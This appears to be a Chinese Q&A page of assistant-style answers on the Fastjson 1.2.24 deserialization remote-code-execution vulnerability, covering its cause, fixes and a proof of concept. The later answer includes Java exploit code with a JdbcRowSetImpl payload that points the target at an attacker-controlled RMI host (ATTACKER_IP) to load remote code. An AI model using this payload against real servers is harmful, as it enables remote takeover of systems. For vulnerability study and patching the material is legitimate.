fastjson1.2.24rce漏洞复现
时间: 2023-06-05 19:48:05 浏览: 446
fastjson1.2.24rce漏洞是一种Java反序列化漏洞,攻击者可以通过构造恶意的JSON数据包,触发目标服务器上的fastjson库反序列化漏洞,从而实现远程代码执行。该漏洞存在于fastjson 1.2.24及之前版本中,已经被修复。如果您使用的是fastjson 1.2.24及之前版本,请及时升级到最新版本以避免被攻击。
相关问题
fastjson1.2.24漏洞复现
对于Fastjson 1.2.24版本的漏洞复现,根据引用\[1\]和引用\[2\]的信息,该版本存在安全漏洞,攻击者可以利用fastjson autotype在处理json对象时,未对@type字段进行安全性验证,从而执行恶意代码。为了修复这个漏洞,建议升级到最新版本1.2.83safeMode加固,或者升级至Fastjson v2。\[3\]因此,如果你想复现Fastjson 1.2.24版本的漏洞,我建议你不要这样做,而是采取相应的安全措施来保护你的系统。
#### 引用[.reference_title]
- *1* [FastJson1.2.24反序列化导致任意命令执行漏洞复现(CVE-2017-18349)](https://blog.csdn.net/q943111495/article/details/121031753)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item]
- *2* *3* [Fastjson1.2.24-RCE 漏洞复现(CVE-2017-18349)](https://blog.csdn.net/oiadkt/article/details/130103907)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item]
[ .reference_list ]
fastjson1.2.24漏洞payload
### 关于 Fastjson 1.2.24 漏洞 Payload 示例
Fastjson 是阿里巴巴开源的一款高性能 JSON 序列化和反序列化工具,在早期版本中存在多个严重的远程代码执行 (RCE) 漏洞。这些漏洞主要源于其 `autoType` 功能未充分校验输入数据,攻击者可以通过构造恶意的 JSON 数据触发 RCE。
#### 已知漏洞背景
在 Fastjson 的 `checkAutoType` 方法中,如果某些特定条件被满足,则可能导致类型绕过并最终实现任意代码执行[^2]。以下是几个典型的场景:
- **`expectClass` 参数**:当该参数不为空且不属于预定义的安全类列表时(如 Object.class 或 Serializable.class),可能允许自定义类型的实例化。
- **黑名单机制不足**:早期版本中的黑名单策略基于明文匹配,容易通过变种方式规避检测[^3]。
- **特殊字符过滤缺失**:部分修复尝试仅简单增加了一些关键字检查,但未能全面覆盖所有潜在威胁向量。
#### Payload 构造原理
针对 Fastjson 1.2.24 及更早版本,常见的利用链依赖于 Java 类加载器的行为特性以及第三方库的支持。例如,`JdbcRowSetImpl` 被广泛用于演示此类漏洞的影响。下面是一个经典的 POC 实现:
```java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class Exploit {
public static void main(String[] args) throws Exception {
// 启用 autoType 支持
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 恶意 JSON 输入字符串
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://ATTACKER_IP:1099/Exploit\",\"autoCommit\":true}";
// 执行解析操作
JSON.parse(poc);
}
}
```
上述代码片段展示了如何通过指定 `@type` 属性来控制目标对象的具体类型,并结合外部资源注入完成进一步的危害扩展。
> 注意事项
> - 替换掉 `ATTACKER_IP` 占位符为你实际部署的服务地址。
> - 此测试环境需确保隔离措施到位以免造成真实损害。
---
### 技术细节补充说明
对于更高版本修补后的防御逻辑改进点如下:
- 黑名单由原来的纯文本形式转变为哈希值存储结构,从而提高了对抗变形技巧的能力;
- 新增了对非法路径分隔符 (`L`, `;`) 的额外筛查环节以减少误报率的同时增强安全性保障水平。
尽管如此,开发者仍应遵循官方建议禁用全局范围内的自动类型转换功能除非绝对必要情况下才开启局部许可权限设置。
---
阅读全文
相关推荐












